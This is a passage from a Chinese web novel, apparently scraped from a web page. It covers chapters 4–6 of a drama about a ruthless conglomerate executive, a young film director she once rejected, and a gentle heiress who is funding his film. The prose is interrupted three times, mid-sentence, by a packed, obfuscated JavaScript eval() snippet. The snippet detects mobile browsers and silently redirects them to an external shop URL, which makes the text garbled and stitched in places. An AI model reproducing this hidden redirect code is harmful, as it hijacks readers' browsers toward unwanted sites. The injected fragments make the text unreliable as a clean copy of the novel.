“是是是……”陶舟岳在旁边陪笑,半句话不敢多说,因为他相信商今悦真的做得出来这种事。 商今悦的行事风格有多飞扬跋扈,他是最知道的那个人。 他至今都记忆犹新,当初刚成为商今悦的私人助理,第一个任务,就是料理了当年京城风头正盛的一个搞新能源的商圈新锐。 那人当年也是春风得意,和他前后脚兴起的公司,就他最有希望上市,所以请了圈里的几个大佬吃饭做人情。 哪成想那人是个预备工作没做好的半瞎子,不认识商今悦是程阳集团的董事,还看不见商今悦身边围着讨好的一圈老板,把她当做是在场谁带过来的小情,上去就拍着她的肩膀一通胡诌。 旁边几个好心的老板提醒他,他还嬉皮笑脸地接着情人的话题,评价上了她的长相。 据说商今悦当场就掀了桌,把人打了个半残。 陶舟岳接到电话赶过去的时候,那人一身血红刚被抬上担架,而她一袭水蓝色的绸缎吊带长裙,静坐在桌前主位前,身量纤细,唇红肤白,一头长发披散开来,飒爽又明艳,两指夹着一支燃尽了大半的香烟送到红唇边,徐徐吐出一口白雾,韵味十足,手肘和指关节上,还残留着几丝红亮的“新鲜战绩”。 彼时她目送那人被抬出去,倦怠的视线随之移到了赶来的他身上。 那一瞬间他感觉心脏都快提到嗓子眼了,情绪像吃了毒蘑菇似的,一会喜不自胜一会惧怕,不由得感慨:真是个魅力十分、危险万分的美人。 后来他按照商今悦的要求,把那人祖上三代都查了个底朝天,那家公司之后更别说是上市,上台面都费劲。 那人伤还没好就跑来程阳集团楼底下借着道歉的名义闹事,哭爷爷叫奶奶弄得沸沸扬扬的。 没想到商今悦压根不惯着,下楼连替带踹地给他又揍了一顿,还趁着他住院的功夫,直接给他的能源公司收购了过来。 事情传开之后,圈里算是无人不知商今悦的大名了。 惹她不爽的人少了,陶舟岳的工作也轻松了许多,偶尔还是有不长眼的又来撞枪口,商今悦的行事风格也是从来没变过—— 赶尽杀绝,不留余地,确认对方喘不了气还得过去补两脚的程度。 比起那些曾经“死”在过她手里的人,商总这次……确实是仁慈了许多。 也许正如她所说,这种不起眼的角色,还不配让她提起兴致。 商今悦像是读懂他想法,补充了解释:“最近X海那边,有个地产的开发项目我一直想做,风险不小。董事会为了这事叽歪了大半年,好不容易有点动摇了,我也不想在这个节骨眼整出点什么幺蛾子,不用在他身上浪费时间和精力。” “我这就去办。” 一连过了一个半月,商今悦本来想解决了手上累积的工作,就接着跑跑X海的项目,没想到在文件里翻出来了大问题。 去年她通过李煜文认识了个做地产的严总,合作过一次后觉着还不错,就一起又在异地的A市拿了块地做项目。 钱和关系她都打通得差不多了,眼看着今年就要到开工的时候,没想到关键时候掉链子,在那人公司的中间环节搞出了问题,查到了那人头上,人都联系不上了。 商今悦给李煜文打了通电话,李煜文也没料到这种情况,语气又急又愧疚。她努力心平气和地交代清楚了他去联系人,挂完电话就在办公室发了好一通火。 她不怕来查,这事压根牵扯不上她。 她气得是这死人严总一天找不到,项目就只能一拖着开不了工,昨年砸进去的钱和心思全打了水漂不说,往后这人要冷不丁地再冒出来,未来两三年都还要耽误时间配合取证,一旦这事曝光出去,还影响集团的名声和股市。 之前因为有李煜文和合作过一次的关系,她并不担心那人有什么问题。 这件事原本也是在她考虑的可控范围之内的,她接手程阳集团这么多年,经手的地产项目比那孙子公司这辈子能接的项目都多。这事爆出来之前她要是在京城,事态绝对不可能发展到这种地步。 偏偏是她去M国看沈程硕的节骨眼,不然最坏的结果,也是她在那人飞出京城前给他逮回来,不像现在跟大海捞针似的。 只能盼李煜文那边的人脉有点用,能趁早把这龟孙子找到最好,实在不好找的话,A市那边她关系不是很熟,李煜文也比她的身份更加方便些说情,至少找人把项目通融一下开工,减少些损失。 商今悦揉了把脸,继续联系问A市项目,下午的时候李煜文那边来了消息,说是找到了个了不得的硬关系。 那人很谦逊地说很早就想结识程阳集团的人了,帮个忙也当是顺手,但他不怎么来京城,只有个亲侄女在京城长住…… 李煜文一听就明白了,是想让他们帮衬着照顾亲人,立刻就约了三人晚上吃饭。 商今悦现在也坐不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207480|151013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一听有解决法子了立刻打起了精神,问了那人现在的行程和方便后,直接就开车去找人。 路上,李煜文给她介绍了那位关系的大致情况。 那位关系,兄弟两人都是了不得的人物。 那人在职的时候做了大贡献,正儿八经地爱民正直,一生未婚未育,退休后也有官方养着,现在在A市隐居过上了安逸日子。 而他的弟弟是国际里程碑级别的钢琴家霍明礼,有个女儿,叫何羡云,就是她现在去找的人。 商今悦一个不怎么关注这行的人,听到这个霍明礼名字的时候都很震惊能和这个人挂钩,确实是个家喻户晓的艺术家。 “但稍微注意点,这个何羡云……听说是小时候出过车祸截了条腿,身体从那以后也不太好。” 李煜文压低声:“她爸和她伯父,都不指望她能接手家业,只盼着她能安稳生活。现在好像能正常走路了,但有只腿是义肢,等会你注意点,别踩雷了,我订好了饭店就过来。” “好”,商今悦挂了电话,把名字发给陶舟岳,让他再整理一份详尽的资料出来。 没一会就到了目的地,是一个度假山庄,但车还没驶进去,引入眼帘不是宜人的风景,而是密密麻麻的拍摄设备和人群。 商今悦看着窗外顿了顿:“你没开错地方?” 她翻开手机和刘杰确认了一遍地址,左右观察了会,确定这里应该是某个剧组正在在租用拍摄。 她也没多想,停稳下车,听见一声温和的女声:“您是商总吗?” 她朝声音的方向看过去,是个模样温婉的女人,身材削瘦,皮肤白得有些病态,头发低而松散地束着,天气其实算不上冷,却穿着突兀的鹅黄色高领毛衣和纯白色长裙。 她见商今悦反应,微笑着朝她伸出手:“您好,我叫何羡云,刚刚听伯父介绍过您了。” “何小姐客气,叫我今悦就行。” 商今悦伸手回握,措不及防浑身一抖,吓得差点没把手抽回来。 那双手冷得惊人,像是从冰窖里拿出来也不为过。 “抱歉抱歉……” 她意识到自己的失态刚想道歉,何羡云比她更先一步抽回手开口:“我又忘了……吓到你了吧?” “没有没有,山里面天气凉些,正常的。” 商今悦缓过神来笑着打圆场。 不知道这惊人的温度是来源李煜文电话里指的身体不好,还是坏境影响。 但明显,折中“不踩雷”更重要。 何羡云笑盈盈地从包里拿出个暖宝宝递过去:“你拿着,这边冷,别生病了。” 商今悦接过:“谢谢。” 两人一边往里走,一边有的没的聊着天,从A市的项目聊到日常琐碎。 也许是身边多的是岑溪音那样张扬明快的人,商今悦对何羡云这样,浑身散发着柔光似的女人有莫名的新奇和好感。 她长得很美,声音细而软,眉眼弯弯潋滟,走路慢而平稳。 要是来之前没听李煜文提起何羡云的情况,商今悦其实压根看不出来这是个身体不佳的残疾人。 走到那群热闹的剧组几十米处,商今悦顺口问了句:“这是什么剧组,你来这边的时候他们就在拍了吗?” 何羡云点头:“我正想跟你介绍呢,这是……” “何总!你怎么又跑庄园外吹冷风去了!” 远处的呼唤声打断了对话,两人都寻声望去,一个身形挺拔的少年正拿了条灰围巾朝这边小跑过来。 商今悦睁大了眼,那人也半路刹车顿在了原地。 只有何羡云露出了比刚刚还阳光开朗的模样,举起手费力地招着:“我没事的小宴。你也先别管剧组那边的事了,快过来,我给你介绍一下我新认识的朋友。” “好啊……” 宴北川嘴上答应,身体像是和脑子没商量好似的一步未动。 何羡云的视线在两人之间换了换,了然般的笑出声:“商总确实长得很漂亮,但人很好的,你别害羞嘛。” 宴北川沉默了。 商今悦深吸了口气,好半天才挤出来:“何小姐,这位是……” “他叫宴北川,是个很有天赋的编导。” 何羡云回过头,正式向她展示介绍正在忙碌的剧组:“我最近在投资他的电影呢。” 4. 对峙 04 晚上李煜文订了餐馆,见何羡云多带了个宴北川也没挂心上,四人一块儿吃了顿看似和谐的法餐。 期间商今悦一直不怎么说话,安静地几人来回客套,面无表情地切着牛排。 虽然没把不爽挂在脸上,但谁都能看出来她现在有多不愉快:她面前那块牛排,都快被她切成牛肉沫了,愣是一口没往嘴里送。 李煜文胳膊肘顶了顶商今悦提醒她,她无视他放下刀叉:“何小姐,单独聊聊吧。” 何羡云微微笑了笑,扭头对宴北川:“小宴,我有点渴了,下楼去买几瓶水。” “这里有水……” “我正好喝的脑子也有点晕,咱俩出去透透气。” 宴北川装作没听懂的样子不准备离席,却被李煜文起身一把拉走:“快走、走走走,这没你什么事……” 宴北川三步一回头地被拉走了,桌前只剩下了两人,何羡云笑容依然温和:“商总现在方便说了吗?” “何小姐,你是有什么把柄落在他手上了吗?如果有这方面的困扰,或者不方便亲自动手,完全可以告诉我。” 商今悦缓缓起身,给何羡云和自己都倒了杯红酒:“实话说,我今天第一眼见到你,就觉得相处得很舒服,就算以后没有合作,为了交你这个朋友,我也愿意帮你把他解决得干干净净。” “我也和商总一见如故”,何羡云点着头,认真听:“不过商总怎么突然这么评价小宴?” 商今悦放下酒,叹道:“我实在不能理解,这个人到底有什么特别的地方,值得何小姐宁愿和我对着干,也要给他铺路。” 宴北川电影融资被卡的原因,圈里稍有权势的人,都不可能不知道背后是商今悦的手笔。 虽然不知道他怎么得罪的商今悦,但为了不被波及,见了宴北川都恨不得绕着道走,何羡云怎么可能不知道? 她在知道宴北川和她不对付后,还是选择了给宴北川融资。 好巧不巧,A市的项目卡在这个时间点出了问题,她正好还需要何羡云家帮忙…… 很明显,何羡云绝对不像她看起来的那样纯良无害。 在商圈里滚过的人精,各个都不可能像面上表现出的那样纯良和善,圈里越是吃得开,笑得越温和,心里面揣着的小九九也就越多。 商今悦很难不将现在的情况和A区的项目联系在一起,甚至在想,说不定那个“严总”,就是被何羡云藏起来的。 兜这么大一个圈子,就只是为了给宴北川报仇? 商今悦怎么想都不能理解何羡云这么做的原因。 如果宴北川没什么何羡云的把柄,何羡云就只是为了给宴北川出口气,那这个动机也太蠢了点;但如果不是为了宴北川,她又不记得自己跟何家结过仇。 何羡云轻笑着,端起商今悦倒好的那杯酒:“我和小宴只是萍水相逢的关系,我机缘巧合看到了他的剧本,很欣赏他的才华。虽然确实知道了商总曾经应该和他有过不愉快的过往,但还是您能惜才,网开一面,再给他一次机会。” 她说完,便将那杯红酒一饮而尽。 商今悦盯着她良久:“你该不会是想睡他吧?” “咳、咳咳……”何羡云一口红酒呛住了嗓子。 “我可以帮你物色条件更好的。” 商今悦微微皱眉:“我是真的不希望,你是为了这样无聊的理由,特意来和我作对。” 何羡云好不容易从咳嗽中缓过神:“商总是觉得我在包养他?” “你否定了我能想到的所有理由。” 商今悦不以为然地耸了耸肩肩:“还是说,你还有其他不得已的原因吗?” 何羡云失笑,摇了摇头:“那就当作是这个原因吧。” 商今悦扬起唇,眼底却没有笑意:“铁了心要保他?” 何羡云笑而不语。 “何小姐,你现在这是在逼着我原谅他吗?” 商今悦眉头越紧,没忍住轻嗤:“体谅一下,我这人从小脾气就不太好,就算是我们家老爷子,都没这么强架着我去做什么事。” “A市的项目,我保证一定办得漂漂亮亮的,以后有什么合作机会,我也会第一时间想到商总。” 何羡云略过了商今悦的话:“就是我不经常在京城的时候,还希望商总能多提携提携小宴。” “你伯父不是说,你在京城住下了吗?” “我闲人一个,懒散随心,想到哪了就往跑,没有具体在哪住下的说法。一年到头,也就只能说在京城待的时间多一些。” 气氛僵持了好半晌,直到商今悦突然挑眉冷哼一声:“好吧。” 她不多废话,端起那杯酒一饮而尽,向何羡云展示了杯底:“那我的项目,就麻烦何小姐多费心。宴北川这边,我肯定好好关照。” “合作愉快。” 两人握了握手,正巧李煜文也带着宴北川回来:“你们聊完了?” “是,准备散场了。那边那个,嘬嘬嘬……对,看过来。” 商今悦发出像逗弄宠物的轻佻声音,看向宴北川戏谑地笑道:“何小姐以一个特别合算的项目成交价,把你卖给我当狗了。以后见到我的时候,记得跟着我的手势原地转圈,摇摇尾巴,再蹲在我面前大声狗叫。” 全场鸦雀无声。 何羡云先走到神色僵硬的宴北川身边:“商总开玩笑呢,别当真。下周我就要离开京城了,商总说会帮着你的。” “哈哈哈,原来何小姐居然觉得我会开玩笑。” 商今悦干巴巴地对着宴北川大笑几声:“你也觉得我说话幽默吗,小宴?” 宴北川其实算是个好脾气的人,但眼下看到商今悦这么明摆着让何羡云下不来台,也冷下了脸:“何总,这些天您帮我的够多了,我能解决好剧组的事,不用劳烦商总。” “你在京城里办事,哪哪不需要商总点头同意?商总愿意帮着你,总是会方便些。” 何羡云使了个眼色:“今天我们都喝了酒不方便开车,小宴,你送商总回家,路上好好聊聊。” 商今悦阴阳怪气笑道:“那太好了,我最喜欢和别人聊天了。” 宴北川攥紧了拳:“商总自己有车有司机,哪能屈尊坐让我来送。” 商今悦听完掏出一把车钥匙,抛给李煜文:“喏,给你开。” 随后摊开手:“现在能送了吗?” 宴北川感觉眼皮直跳,心里烧着股火。 何羡云按住他的肩膀提醒,他现在还在京城里,不管做什么事都离不了商今悦的示意,眼下能有机会表面和解是好事,要是两人一直不对付,商今悦绝对有千万个法子能卡着他。 商今悦打了个哈欠:“这么不懂看眼色吗?” 宴北川在大学时就领略过商今悦顽劣的脾性,再加上这两回重逢,他早就认定了和商今悦和平共处是绝对不可能的事。 但两个人曾经的事,他对何羡云说不出口,何羡云不知道,就只以为是什么寻常的矛盾,想尽办法给他找来了机会和解。 他不能拂了何羡云的面子,怎么也得试试。 “您请。” 他咬牙切齿地笑了笑,侧身给商今悦让出了路。 两人一前一后离开了饭店,宴北川先去去路边找自己的车,商今悦站在原地静静地看。 深秋天气微凉,宴北川今天穿得很简单,高领的灰色内搭和黑色牛仔长裤,外面披着版型笔挺黑色大衣。 但胜在身高腿长体态极佳,普通的衣服也穿出了一股子贵气,吸引了路边不少目光。 他的脚步最终落在了一辆黑色的奥迪A6前,上车驾驶着来到商今悦面前。 他打了两下车灯等着,商今悦站在原地不为所动。 两人僵持了三四分钟,他终于忍不住下车假笑:“您还坐吗?” “不给我开门我怎么坐。” 商今悦又对着他嘬了两声:“你的何总没教过你怎么伺候人吗?” 宴北川点头,下车走过去,打开了后座的门。 “不不不……”商今悦缓缓摇头:“我要坐前面。” “坐后面才符合您的身份。” “我就喜欢坐前面,视野好。” 宴北川无奈,又绕回副驾驶车门前,替她打开门示意。 “何总真是……一点有用的都没教会你啊。” 商今悦还是不肯进去,语重心长地像是在训小孩:“手,挡着点车门,等会我撞了脑袋怎么办?” 宴北川深吸了口气才压下语气:“您稍微弯一弯腰,不会的。” 但商今悦就站着不动,他只好将手挡过去。 商今悦这才满意地弯腰,进副驾驶时,故意地往上抬了抬头,宴北川挡着的那只手在门框重重一磕,猝不及防地倒吸了一口凉气。 “哎呀,我就说会磕到吧。” 商今悦坐在副驾驶位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207481|151013||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,露出幸灾乐祸的笑:“还好我提前教你了。” 有病。 宴北川心中揶揄了句,不多做理会,关上车门自己坐回了驾驶位,车里的提示音一直响,宴北川瞥过去一眼,耐下语气:“安全带。” 商今悦不知什么时候旁若无人地点了根烟,理都不理他。 他憋了一肚子的气,想到何羡云还是忍了下来。 打开车窗,他翻过身越过商今悦去找副驾驶的安全带。 车里的光线太暗,他有些近视,今天走得急没带隐形眼镜,现在为了不挨到商今悦,撑着个极其怪异又难受的姿势。 车里空间本来就小,他身高将近一米九的人,挤得够呛,好不容易一边闻着二手烟一边抓到了头,却听商今悦冷哼一声。 “你现在是在做什么?” 他下意识循声看去,却陡然愣住了片刻。 商今悦正神色冷淡地用手撑着脑袋,云雾缭绕中,一双勾魂摄魄的眉眼直勾勾望过来,实在让人难以挪开视线。 仅是他愣住的这几秒钟,就只见那双鲜艳的红唇上下碰了碰冷声道:“给你三秒,滚回去。” 回过神后,他心跳得极快,这才反应过来两人挨得太近了,而他刚刚十分失礼地就着这个距离,盯着商今悦的脸数秒的时刻,也被她尽收眼底。 顾不得慌乱的心跳,他胡乱地扯过安全带拉回了驾驶位,连敬语都忘得干净:“你不栓好安全带,我怎么开车……” 他手抖得厉害,胡乱扣了好几下都没能扣上,在心里把这破安全带到今天的天气,统统骂了个遍。 “我有说让你来吗?” 商今悦十分不爽,看他像看傻子似的掐灭了烟,把安全带夺过来自己扣上:“等我抽完烟的耐心都没有,你到底怎么攀上何羡云的?” 宴北川当作没听见似的转回视线开车,方才的火不知道什么时候瞬间散得一干二净,久久平复下来的心跳还让他莫名觉得一阵理亏。 但商今悦没察觉到他的异样,他的沉默被她当作了是默认两人的包养关系,彻底冒了火。 她既气何羡云居然会为了个男的来给她挖坑,又气这傻鸟男的还是拒绝过自己的人,干脆嘴也不过脑子开门见山气愤扭头:“当初拒绝我的时候不是挺干脆的,有想过自己会有今天吗?” 一句话勾起过去的回忆,宴北川刚浇灭的火一下也烧了起来。 过去他确实和商今悦实打实地喜欢过商今悦,在酝酿着和她表白的时候,却亲眼看见了她在大厅一脸无所谓地和众人打赌:如果把自己收到过的情书当作自己写的情书送给他,他会在第几秒钟内感激涕零地收下后答应表白。 他扯了扯嘴角:“原来商总是因为那件事一直在找我的麻烦,我还以为商总贵人多忘事,早就不记得了呢。” “毕竟敢拒绝我的人不多。” 商今悦不以为然地坐回原样:“你是迄今为止,活得最安逸的那个。” “原来是因为那个赌注啊。” 宴北川直接挑破了那层没说开的遮羞布:“还以为商总您不介意,毕竟我对您来说,不就只是个您和朋友之间的玩意儿吗?” 商今悦顿了一秒,意识到问题后,又很快恢复神色冷笑着翻了个白眼:“是打赌又怎么样,你让我输了,让我在朋友面前很没面子,我很不爽。所以现在要找你麻烦,你有意见吗?” “没有。” 宴北川握紧了方向盘微笑:“当然没有。” “没有就闭上你的嘴,好好开车”,商今悦的表情冷到了极点。 刚刚宴北川这个脑残的借口差点给她带过去:以前倒是清高,不愿意给她当玩意,现在倒是傍上其他的大树好乘凉了。 两人一路无言,一直开到商今悦的别墅门口。 宴北川给她打开车门,商今悦下车前对他轻笑:“不找我要个联系方式吗?何小姐可是叮嘱过我,好、好、照、顾、你。” 她把“好好照顾”四个字咬得极重,宴北川也不客气:“不用了,哪敢麻烦您来亲自添乱。” “行,装都不装了。” 商今悦嗤笑一声:“看样子你是很有信心能对付得了我给你挖坑了?” “我知道您还有求于何总,相信也不会想把事情弄得太难看吧?” 宴北川用何羡云挡枪的行为让商今悦更加不爽,她再也不藏着情绪,瞪着他一字一顿:“那就好好等着,你的苦日子还在后头。” 5. 圈套 05 回到家,商今悦躺在床上,翻来覆去都睡不着觉。 她想不明白宴北川是怎么、又是为什么要攀上个八竿子打不着关系的何羡云。 何家的宝贝独女何羡云,又是怎么看上这种货色,还来低声下气地给他争取求和机会的。 要说抱大腿,大学那个时候,她虽然还不算程阳集团的主心骨,但沈家怎么着也算得上京城里数一数二的门楣吧,哪点比何家差? 况且宴北川在京城生活,居然放着沈家不抱,转头跑去找了条离京城天边远的大腿…… 还真以为是背靠上大树好乘凉,给人当狗居然还挑上主人了。 想到分别前,宴北川一口一个“得看何总的面子不撕破脸吧”,怎么看都是狗仗人势的嘴脸。 这么一想,做狗哪有选择权,见一个巴结一个,大学错过了巴结她的机会没等来第二个,好不容易遇上个能巴结的,就赶紧贴上去了,哪有那么多为什么。 至于何羡云为什么要帮他,最多就是被他装出来的嘴脸骗了。 毕竟她在商圈摸爬滚打这么多年,大学时期都还被宴北川煞有其事的伪君子模样骗过,要是几年后没重新遇到,她也想不到宴北川是这种货色。 何羡云一看就是好说话的温吞性子,绝对是被宴北川给忽悠蒙了。 商今悦最终得出结论:不识抬举的贱人。 想明白后她就舒坦多了,跟半小时前的辗转反侧一点没发生过似的,没心肺地盖上被子睡过去了。 第二天她联系约见了这部电影的两个主要投资商,她这次也真金实银地投了两百多万进去,虽然主要占比不在她头上,但两人一听说商今悦的大名,都还是听她的话。 毕竟能结识她的机会成本,可比投资三四部电影的要价还高。 商今悦已经打定了主意,既然何羡云都开口了,她当然大力支持,要好好“关照”一下这部电影。 所以共同商议了一下午后,他们最终决定将原定的男主演宋岩换成另一位人气正盛的一线男演员韩珂。 光是想到宴北川得知开拍了一个月突然被换掉了主演后,会露出怎样苦闷的表情,又怎么去和其他投资股东解释,商今悦就禁不住笑出了声。 她的计划当然远不止此。但这两位的任务已经完成,她简单收了个尾和他们道别,接着回集团忙工作。 一连过了三天,她收到了何羡云的电话。 她早有预料地接起。 简单客套了几句A市的项目之后,就听见何羡云轻咳了两声,略有为情地问起:“商总,小宴那边好像有事想找您,就是联系不上……” “哎呀,你瞧我,工作忙昏头了,这几天没怎么关注他那边的事情呢。” 商今悦故作惊讶:“他遇到什么问题了吗?直接打电话给我就好了呀,怎么还劳烦何小姐来代为转达。” 何羡云干笑两声:“那我把您电话推给他?” “好,就是我今天挺忙,等会还要去开会,你让他先加微信吧。” “明白明白,麻烦商总了。” 商今悦挂了电话,刚接了杯水坐回位置,手机里就弹出了条新的好友验证消息,备注是“宴北川”。 她不屑地笑了声,行政部的人来提醒她开会,她收拾好后,就把这条消息丢在了一旁。 今天还在讨论X海的那个项目,这次高层里稍微松了松口,但还是敲定不下来。 程阳集团现在虽说是商今悦说了算,但高层大部分人都是向着老爷子的那边,主张小心驶得万年船。 程阳集团是老爷子一手做起来的,七年前他突发脑溢血病倒后,瘫了半边身子,在医院躺了两三年,最近状态才好起来,勉强是能走了。 在沈老爷子病倒后,程阳集团的第一接手人也不是商今悦,是老爷子的亲儿子,沈程硕的父亲,沈先序。 但那人实在没什么能耐,小心眼、没气度,程阳集团在他手里半年,股市就跌破新低。 老的不行换小的,商今悦和沈程硕便开始试着接手程阳集团。 要不怎么说歹竹出好笋,沈程硕打娘胎里就精得很,基因都是选择挑的,脸随了爸妈好看的地方长,脑子就避开了那两先天不足的深坑,隔辈遗传到了老爷子的老谋深算,集团在他手里一年就回了春,老爷子都夸他是天生的商业奇才。 商今悦虽然也是个脑子快的,但在和沈程硕的比较下就显得黯然失色,加上沈程硕还比她大了两岁,做事比她也更成熟稳健。 要不是后来他去M国深造,商今悦还真不一定能有翻身的机会,能坐到如今的位置,已经算是天赋加没日没夜非人的努力的最优成果了。 基本的生意往来和项目,她都能自己拿注意敲定,但要在集团里搞点大动静,彻底不受老爷子的控制,少说还得照现在这样发展,努力熬个五六年时间。 会议间,手机里来了新消息,商今悦瞄了眼,是李煜文:上面有消息,姓严的今天被抓到了,现在在调查。 商今悦有些意外这个时间点能抓到人,但A区那边何羡云已经搞定了,对程阳集团后续没什么太大影响,也就不怎么在意地放下手机,准备接上刚才的会议。 但李煜文又发来一条补充:是沈叔给的线索。 商今悦面色一沉,叫停会议走出门,直接给他打去电话:“沈先序?” “是啊。你让他帮忙查的吗?” “我让他查?你没睡醒吗。” 沈先序管不了集团里的事后,这几年就一直在医院陪老爷子。 但要说他彻底死了回集团的心,商今悦是打死都不信的。 现在沈先序知道这件事,就代表老爷子也知道了这件事。 和商今悦的行事风格完全不同,老爷子是个很谨慎传统的人,一向是不支持她去做这些风险高的项目。 前几年是因为商今悦没出过什么大问题,就算做了亏本生意也压下了消息,老爷子才没睁一只眼闭一只眼。 这两年里商今悦一直没翻过车,好巧不巧就这一回。 偏偏就沈先序这个几年不过问集团事务的人,突然揪出来了这个姓严的东西,闹到了老头那里。 商今悦不屑轻笑,就说前段时间怎么查不到这个姓严的,原来都是在给她下套。 李煜文见她久久没回话,也猜到了最坏的结果,心虚道:“沈爷爷要知道了,你就、你说都是我忽悠你的,也确实是我的问题……” “你瞎紧张什么,不是什么大事,何羡云那边都处理好了。” 况且事情都发生了,老爷子只看结果,推卸责任有个屁用。 她深吸了口气,从大衣口袋取出一支烟送到唇边,将打火机送到面前准备点燃时,又犹豫了片刻思考,放下了打火机和烟:“不说了,我开会呢。” 她挂断电话折回会议室,晚上老爷子那边就来了消息,约她第二天回沈家一起吃个饭。 虽然她一直都有后手准备,但无端被人摆了一道,心里总是窝了团火,直到第二天醒来后,商今悦心情也没好起来。 沈程硕早上打过来几个电话照常叫她起床,也被她厌屋及乌地给全部挂断。 为了见长辈,她换了套舒适的黑色高领毛衣和黑色皮裙,外披一件薄薄的墨绿色针织衫,长卷发披散,慵懒不失矜贵。 她正挑着鞋子,管家出现在门口敲了敲:“小姐,沈少爷听说您今天要回家,特意给您备了礼物一起带上。” 商今悦皱着眉,但没说拒绝,管家便拍手,叫来了几个保姆,端上来了一套成色极佳的茶具,和两幅价值不菲的油画。 她走近,伸手翻了翻:“这茶具我知道是给老爷子的,这两幅画是……” 管家低着头,笑了笑:“少爷说是交给您处置的。” 商今悦多看了两眼那两幅极具特色的油画,越看越喜欢。 老爷子不怎么喜欢油画,而这两幅看上去就把价值不菲写在明面的东西,确实是像沈家那两口子会喜欢的。 刚给她下完套,就让她拿这俩去讨好那两口子,沈程硕算得挺美啊。 商今悦被气笑了:“那俩山猪像是懂赏画的人吗?路边扯两把叶子拾掇送过去得了,我看这两幅画挺配我的,放我书房里去。” “是。” 管家虽然在点头,但脸上扬起了一抹突兀的笑意。 就连几个保姆抬画的时候,商今悦也有意无意地听见几声憋笑,发现了家里那个藏不住事的保姆也在偷笑时,把她们叫住:“笑什么?” 那女孩没憋住:“这两幅画其实就是少爷给您特意准备的,他早上跟我们打赌,说您绝对会叩下来……” “嘘。” 管家做了个噤声的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在他在四处旅游散心,不常在公众前露面,见到他本人的机会也是少之又少,商今悦想见他一面,这几年里都一直没找到过时间机会。 镜头转过来时,Jonathan脸上挂着未消的尴尬,局促地摸着面前的咖啡杯,朝她小幅度挥了挥手:“您好您好,是我没注意到时差,打扰到你休息了,京城那边估计才是早上吧。” “没事没事,抱歉,是我刚才……” 商今悦脑子乱到语无伦次了,一时间不知道说什么才好,Jonathan先开口打破僵局:“您喜欢那两幅画吗?” 商今悦意识到是今天管家送过来的那两幅画出正是自他手,连连点头:“我很喜欢……”她本想说出来点更多的赞美词,一紧张起来,脑子里就变得一片空白。 “不枉我在Jonathan老师身后追了一年多。” 沈程硕替她打了圆场,三人才笑着略过了话题,一直到刘杰来电话,商今悦不得不下楼去沈家才结束。 Jonathan先离席,商今悦松了口气,对着沈程硕翻了个白眼:“为什么不提前给我说一声?” “没想到你会这么生气……” 沈程硕笑着,隔着屏幕戳了戳她的脸:“见到Jonathan也没好起来一点点?看样子是真的气到了。” “还不是多亏你那好爹。” 商今悦冷哼一声,边下楼边阴阳怪气:“我哪还有时间生沈少爷的气,现在还忙着回沈家,让小沈、中沈、老沈挨个把我戏耍一遍,我商今悦上辈子欠你们老沈家的。” “让商总不高兴,是老沈家不懂事了。那小沈先在先这给您赔罪,商总大人有大量,万岁万岁万万岁,小沈一岁一岁又一岁。” 他说着,双手举起,真做了大拜手势。 商今悦正要上车,没忍住失笑,其实见到了Jonathan就消了大半的气,现在也算是彻底好了,摆摆手:“商总去沈家战斗去了,赶紧滚蛋。” “今悦。注意身体少抽烟,药也要按时吃。” “哦。” 商今悦这才想起来自己忙得断药一阵子了,叫人送过来个小药盒子,对着屏幕面前晃了晃:“知道了。” 6. 报应 06 一路畅通无阻,商今悦看着车窗外逐渐熟悉起来的风景,想起上次回沈家老宅,已经是十年前的事情了。 车很快到了地方,与记忆里的没差,是座四层的郊野别墅,屋外种着一片栀子花田,屋内外的装潢都是老式原木,里里外外被打扫得干净清新,窗门大开着,屋里始终有股清淡的花草香。 商今悦进门环视一圈,没找到老爷子,倒是先看到了最不想看见的人:沈先序和他老婆商妍正坐在客厅的沙发上,商妍正侧着脑袋和沈先序说着什么,扭头看见了她,不情不愿地瘪嘴扭了回头。 “回来了,吃早饭了吗?” 沈先序看见商今悦后似笑非笑地站起身:“饿的话我让厨房煮碗面。” 商今悦无视他,四处没找到老爷子的身影,估摸着应该在楼上,没想到立刻引起了商妍的不满:“你爸跟你说话呢,没听见吗?” 商今悦本来没打算理会他们的,但这声冒昧的称呼太刺耳,她冷笑着回过头,商妍却立刻躲去了沈先序身后:“瞪我做什么?我们从小把你养到大,叫声爸委屈你了?你一天天不着家,老爷子病了这么多年,没见着你回来看过几眼,都是我们在照顾……” “不好意思,我还以为大白天的见鬼了。我怎么记得我爸二十多年前就死了。” 商今悦扬起个挑衅的笑:“我确实想多回来,就是集团的事情太多了,没办法啊,二十八岁就要开始忙着给上下几万口人的讨生计。我也很羡慕你们,每天只用待在老爷子身边无所事事,混在一堆医护里面,装得像自己也会治病似的。” “你!” 商妍急得涨红了脸,被沈先序抬手拍了拍肩安抚住,但商今悦也没打算放过他:“不过等到程硕回国领完证之后,我确实也该适应一下这个称呼了,您别这么心急嘛,妈。” 这下两人的脸色都难看起来。 